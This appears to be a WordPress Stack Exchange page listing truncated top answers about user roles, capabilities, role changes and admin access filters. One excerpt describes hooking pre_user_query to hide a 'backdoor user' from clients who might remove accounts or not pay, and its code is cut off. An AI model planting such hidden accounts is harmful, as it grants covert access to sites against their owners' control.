Hot answers tagged

25

See the WP_User class, you can use this to add and remove roles for a user. EDIT: I really should have provided more information with this answer initially, so i'm adding more information below. More specifically, a user's role can be set by creating an instance of the WP_user class, and calling the add_role() or remove_role() methods. Example Change a ...


6

While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example) add_action('pre_user_query','sleeper_pre_user_query'); function sleeper_pre_user_query($user_search) { global $current_user; $username = $...


6

Me, like @fischi think that filter 'user_has_cap' is the best choiche for the pourpose, however, I think that is better to the work, regardless the $_GET post or action: WordPress check the meta cabability on a per-post basis, using an additional argument. In few words, when filtering 'user_has_cap' for a meta capability (see https://codex.wordpress.org/...


6

Firstly, you need to add the following capabilities to the Doctor and Receptionist role: list_users edit_users create_users delete_users Now we can get to work with controlling which users they can create/edite/delete. Let's start with a "helper" function that will return which roles a user is allowed to edit: /** * Helper function get getting roles ...


5

I know this question is a year old now, but I have just discovered there is in fact a way to achieve this, so posting it here in case it's useful to other people: add_filter( 'user_has_cap', 'my_user_has_cap', 10, 3 ); function my_user_has_cap( $user_caps, $req_cap, $args ) { $post = get_post( $args[2] ); if ( 'attachment' != $post->post_type )...


5

The plugin Members is your solution, clean code for read, change and create roles and capabilities; easy and fast. No custom tables and normaly WordPress standard.


5

When adding a role and capabilities you only need to run the code once since the roles and capabilities are saved to the database when using add_role or ->add_cap functions so just like Andy said you can use after_setup_theme for this kind of action but add some kind of check so it only runs once, like register_activation_hook or using options: ...


5

Filter 'login_redirect'. Sample code, not tested: add_filter( 'wp_login', 'wpse_78150_login_redirect' ); function wpse_78150_login_redirect( $url ) { # uncomment the next line for debugging # var_dump( wp_get_current_user() ); exit; if ( ! current_user_can( 'custom_role' ) ) return $url; return admin_url(); }


4

For plugins, I have had success using plugins_loaded for this. For themes, I would use after_setup_theme.


4

I was able to come up with a work around! First, I used Role Scoper to limit a user account to a specific term - in this case, a Ministry Representative is limited to the name of their Ministry in the "ministries" taxonomy. Then, I used the WPAlchemy class to create a custom metabox that would list the terms and, since it only returned one (theirs), I would ...


4

Just note that there is a simpler way to change the user role which is especially helpful when you do not know the current role of the user: ->set_role() Example: // Fetch the WP_User object of our user. $u = new WP_User( 3 ); // Replace the current role with 'editor' role $u->set_role( 'editor' );


4

I'm reposting this with an example, I really don't get the code formatting of this editor, last time I was so irritated with it that I skipped the code! That dropdown is populated using a filter 'wp_dropdown_users' (user.php, line 976). This filter returns the dropdown (html select) as a string. You can intercept this string, and add your own options, which ...


4

Okay here we go. It is a bug in WordPress itself. I have already shortly explained the issue in my question, so either have a look at it or check out the ticket linked above for more details. Until the issue is properly resolved I propose this dirty, dirty hack. It is based off the idea that as soon as another sub-menu that is accessible is added ...


3

Confirming… Yes, there's currently (WP 3.4.1) no way to modify the access arguments for admin menu pages. The only one, that you can modify through the public wp API is the »Comments« menu item. All others are registered by hand. But there's help coming from @scribu (read more at the trac ticket) who has so far taken a lot of effort to bring ...


3

There won't be a plugin for that, so I wrote one. You can use it as plugin or (better) a mu-plugin (place it in your ~/wp-content/mu-plugins folder). Mu-Plugin: delay the possibility to "publish a post" by removing the MetaBox For a detailed explanation of what happens and why it happens, please refer to the inline comments: <?php /** * Plugin Name: ...


3

Imho that's one of the most important things regarding users: /** * Deny access to 'administrator' for other roles * Else anyone, with the edit_users capability, can edit others * to be administrators - even if they are only editors or authors * * @since 0.1 * @param (array) $all_roles * @return (array) $all_roles */ function ...


3

Very interesting question. It's a bit outside the scope of the typical rolls/capabilities functionality as it's more fine grained (unless I'm wrong -- very possible). The first step would be to put some sort of way in that you can assign which posts a user can edit. It makes the most sense to stick that the user's profile page. So you can hook into ...


3

After hours of fighting to get this to work, it was just a matter of changing delete_posts to delete_post. So, in it's entirety this would be: current_user_can('delete_posts', $post_id); to current_user_can('delete_post', $post_id); current_user_can does accept a second parameter. Though it's weird that the function declaration in capabilities.php does ...


2

You can change the role of any user by editing the users profile. No need to add any more code when this option is already built into WordPress. Or You could use code to change all current users with the subscriber role to editor: $current_user = wp_get_current_user(); // Remove role $current_user->remove_role( 'subscriber' ); // Add role $...


2

To extrapolate on t31os's answer you can slap something like this in your functions file if you want to do this programmatically based on a condition $blogusers = get_users($blogID.'&role=student'); foreach ($blogusers as $user) { $thisYear = date('Y-7'); $gradYear = date(get_the_author_meta( 'graduation_year', $user->ID ).'-7'); if($...


2

first about the add_role you only need to run this once, so after you paste it in your functions.php and saved you can remove it and save again and the role will be there always. then about the author_can function, i really never use it so i can tell whats wrong but you can use current_user_can() function like this: update if ( is_user_logged_in() ) { ...


2

you can add a custom field to each listing post with the user's role and then in your query you can order by that field, for example say you have a custom field named `u_role' then your query should look like this: $custom_role_query = new WP_Query( array( 'author' => implode( ',', $custom_ids ), 'post_type' => 'listing', 'posts_per_page' => 10, ...


2

Ok, old question; but the solution lies already in the WP core. Unless you also want to prevent User1 from reading pages he has no editing privileges to. In which case you would need a role/access management system, such as the code in the accepted answer or plugins from the wordpress plugins directory. If you only want to prevent editing: User1 set as ...


2

There are two ways to do this. Almost any decent membership management plugin will enable you to restrict content to a given user role and plugins such as Role Scoper are even more flexible. For a more code-based solution you would add some variation of the following to the desired theme template files where ever needed: <?php if(current_user_can('...


2

I don't know the function you mention either, but I would venture to guess that that applies to default roles only anyhow. Still, the link you posted does contain a pointer in the right direction. It speaks of "dummy gettext calls", which is exactly what you have to do. In the following we will adjust the global $wp_roles object on init and hook a filter ...


2

I am pretty sure that nothing would happen other than the user would have the capability in question. Think about it. The default Roles share many capabilities-- Authors, Editors, and Administrators all have edit_posts, for example. All roles (usually) have read The same system manages both default and custom roles/capabilities, so there really should be ...


2

You can use wp_get_current_user() function to get current logged in user's role //Remove admin menu items if not admin function remove_admin_bar_links() { global $wp_admin_bar, $current_user; $user = wp_get_current_user(); if ( in_array( 'author', (array) $user->roles ) ) { $wp_admin_bar->remove_menu('updates'); // ...


2

This would be best as a comment, but no reputation :) In the codex they say "If you are defining a custom role, and adding capabilities to the role using add_role(), be aware that modifying the capabilities array and re-executing add_role() will not necessarily update the role with the new capabilities list. The add_role() function short-circuits if the ...


1

If you want to check if user can delete posts of other authors, you need to use proper capability - delete_others_posts.


1

OVERVIEW While the question was about limiting editor roles to access only Widgets, the following example shows how to limit access only to Menus. However as you will see, it can easily be changed to allow only Widgets or more! I added Step #3 because I forgot about the Admin Bar. Oops! So now whether logged into the Dashboard or logged in and on the WP ...



Only top voted, non community-wiki answers of a minimum length are eligible